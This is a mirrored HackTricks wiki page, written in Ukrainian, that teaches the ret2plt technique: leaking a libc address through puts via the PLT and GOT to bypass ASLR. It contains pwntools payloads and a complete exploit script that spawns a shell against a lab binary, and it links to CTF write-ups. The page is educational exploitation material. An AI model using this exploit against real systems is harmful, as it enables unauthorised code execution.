mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
4.0 KiB
Markdown
79 lines
4.0 KiB
Markdown
# Ret2plt
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Основна інформація
|
||
|
||
Метою цієї техніки є **витік адреси з функції з PLT**, щоб обійти ASLR. Це пов'язано з тим, що, наприклад, якщо ви витечете адресу функції `puts` з libc, ви зможете **обчислити, де знаходиться база `libc`** і обчислити зсуви для доступу до інших функцій, таких як **`system`**.
|
||
|
||
Це можна зробити за допомогою корисного навантаження `pwntools`, такого як ([**звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
||
```python
|
||
# 32-bit ret2plt
|
||
payload = flat(
|
||
b'A' * padding,
|
||
elf.plt['puts'],
|
||
elf.symbols['main'],
|
||
elf.got['puts']
|
||
)
|
||
|
||
# 64-bit
|
||
payload = flat(
|
||
b'A' * padding,
|
||
POP_RDI,
|
||
elf.got['puts']
|
||
elf.plt['puts'],
|
||
elf.symbols['main']
|
||
)
|
||
```
|
||
Зверніть увагу, як **`puts`** (використовуючи адресу з PLT) викликається з адресою `puts`, розташованою в GOT (Global Offset Table). Це відбувається тому, що до моменту, коли `puts` виводить запис GOT для `puts`, цей **запис міститиме точну адресу `puts` в пам'яті**.
|
||
|
||
Також зверніть увагу, як адреса `main` використовується в експлойті, тому коли `puts` закінчує своє виконання, **бінарний файл знову викликає `main`, а не виходить** (тому адреса, що витекла, залишиться дійсною).
|
||
|
||
> [!CAUTION]
|
||
> Зверніть увагу, що для того, щоб це спрацювало, **бінарний файл не може бути скомпільований з PIE** або ви повинні **знайти витік, щоб обійти PIE**, щоб знати адресу PLT, GOT і main. В іншому випадку, спочатку потрібно обійти PIE.
|
||
|
||
Ви можете знайти [**повний приклад цього обходу тут**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Це був фінальний експлойт з того **прикладу**:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln-32')
|
||
libc = elf.libc
|
||
p = process()
|
||
|
||
p.recvline()
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
elf.plt['puts'],
|
||
elf.sym['main'],
|
||
elf.got['puts']
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
puts_leak = u32(p.recv(4))
|
||
p.recvlines(2)
|
||
|
||
libc.address = puts_leak - libc.sym['puts']
|
||
log.success(f'LIBC base: {hex(libc.address)}')
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
libc.sym['system'],
|
||
libc.sym['exit'],
|
||
next(libc.search(b'/bin/sh\x00'))
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
p.interactive()
|
||
```
|
||
## Інші приклади та посилання
|
||
|
||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||
- 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарки, щоб потім викликати puts і витягти його. З канаркою створюється ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім ROP гаджет для виклику `system('/bin/sh')`
|
||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||
- 64 біти, ASLR увімкнено, без канарки, переповнення стеку в main з дочірньої функції. ROP гаджет для виклику puts, щоб витягти адресу puts з GOT, а потім викликати один гаджет.
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|